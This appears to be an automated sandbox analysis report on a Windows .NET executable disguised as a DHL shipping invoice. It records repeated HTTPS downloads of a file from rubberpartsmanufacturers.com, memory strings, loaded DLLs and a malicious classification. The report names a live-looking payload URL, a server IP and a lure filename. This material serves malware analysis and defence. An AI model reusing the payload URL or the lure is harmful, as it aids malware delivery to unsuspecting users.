Source: global traffic	HTTP traffic detected: GET /inneska/Kjeggzijku.vdf HTTP/1.1Host: rubberpartsmanufacturers.com
Source: global traffic	HTTP traffic detected: GET /inneska/Kjeggzijku.vdf HTTP/1.1Host: rubberpartsmanufacturers.com
Source: global traffic	HTTP traffic detected: GET /inneska/Kjeggzijku.vdf HTTP/1.1Host: rubberpartsmanufacturers.com
Source: global traffic	HTTP traffic detected: GET /inneska/Kjeggzijku.vdf HTTP/1.1Host: rubberpartsmanufacturers.com
Source: global traffic	HTTP traffic detected: GET /inneska/Kjeggzijku.vdf HTTP/1.1Host: rubberpartsmanufacturers.com
Source: global traffic	HTTP traffic detected: GET /inneska/Kjeggzijku.vdf HTTP/1.1Host: rubberpartsmanufacturers.com
Source: global traffic	HTTP traffic detected: GET /inneska/Kjeggzijku.vdf HTTP/1.1Host: rubberpartsmanufacturers.com
Source: global traffic	HTTP traffic detected: GET /inneska/Kjeggzijku.vdf HTTP/1.1Host: rubberpartsmanufacturers.com
Source: global traffic	HTTP traffic detected: GET /inneska/Kjeggzijku.vdf HTTP/1.1Host: rubberpartsmanufacturers.com
Source: global traffic	HTTP traffic detected: GET /inneska/Kjeggzijku.vdf HTTP/1.1Host: rubberpartsmanufacturers.com
Source: global traffic	HTTP traffic detected: GET /inneska/Kjeggzijku.vdf HTTP/1.1Host: rubberpartsmanufacturers.com
Source: global traffic	HTTP traffic detected: GET /inneska/Kjeggzijku.vdf HTTP/1.1Host: rubberpartsmanufacturers.com
Source: global traffic	HTTP traffic detected: GET /inneska/Kjeggzijku.vdf HTTP/1.1Host: rubberpartsmanufacturers.com
Source: global traffic	HTTP traffic detected: GET /inneska/Kjeggzijku.vdf HTTP/1.1Host: rubberpartsmanufacturers.com

Source: global traffic

DNS traffic detected: DNS query: rubberpartsmanufacturers.com

Source: DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.00000000030D2000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://rubberpartsmanufacturers.com
Source: DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.00000000030D2000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://rubberpartsmanufacturers.comd
Source: DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.0000000002B21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.0000000002B96000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://rubberpartsmanufacturers.com
Source: DHL-SHIPPING INVOICE-1&.exe	String found in binary or memory: https://rubberpartsmanufacturers.com/inneska/Kjeggzijku.vdf
Source: DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.00000000031C7000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.0000000003267000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.0000000003087000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.0000000003193000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.0000000002D60000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.00000000030F5000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.00000000031FF000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.00000000030D2000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.00000000031F7000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.0000000003247000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.0000000002D2D000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.0000000003213000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.00000000031EF000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.0000000003176000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.0000000003037000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.00000000031DE000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.0000000003252000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.00000000031A5000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.0000000003063000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.0000000003029000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.00000000031BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://rubberpartsmanufacturers.com/inneska/Kjeggzijku.vdfts
Source: DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.0000000003226000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.00000000031FF000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.00000000030D2000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.0000000003247000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.00000000031E5000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.0000000003176000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.0000000003037000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.0000000003252000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.0000000003063000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.00000000031BD000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.000000000309B000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.0000000003091000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.000000000302E000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.000000000326F000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.00000000030AD000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.0000000003049000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.000000000319C000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.0000000003209000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.00000000031D2000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.00000000030C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://rubberpartsmanufacturers.comD

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50103 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50088 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50076 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50099 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50100 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50054 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50098
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50099
Source: unknown	Network traffic detected: HTTP traffic on port 50075 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50052 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 50087 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50064 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50098 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 50086 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50063 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50041 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50030 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49904
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50101 -> 443

Source: unknown	HTTPS traffic detected: 103.191.208.122:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.191.208.122:443 -> 192.168.2.6:50058 version: TLS 1.2

System Summary

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: DHL-SHIPPING INVOICE-1&.exe

Sample has a suspicious name (potential lure to open the executable)

Source: DHL-SHIPPING INVOICE-1&.exe

Static file information: Suspicious name

Source: DHL-SHIPPING INVOICE-1&.exe, 00000000.00000000.2128293441.00000000006B2000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameNyxvzdld.exe2 vs DHL-SHIPPING INVOICE-1&.exe
Source: DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3995915642.0000000000BDE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs DHL-SHIPPING INVOICE-1&.exe
Source: DHL-SHIPPING INVOICE-1&.exe	Binary or memory string: OriginalFilenameNyxvzdld.exe2 vs DHL-SHIPPING INVOICE-1&.exe

Source: DHL-SHIPPING INVOICE-1&.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal60.winEXE@1/0@1/1

Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Mutant created: NULL

Source: DHL-SHIPPING INVOICE-1&.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: DHL-SHIPPING INVOICE-1&.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: DHL-SHIPPING INVOICE-1&.exe

ReversingLabs: Detection: 52%

Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Section loaded: gpapi.dll	Jump to behavior

Source: DHL-SHIPPING INVOICE-1&.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: DHL-SHIPPING INVOICE-1&.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Code function: 0_2_011C04EF push ebx; retf

0_2_011C04F2

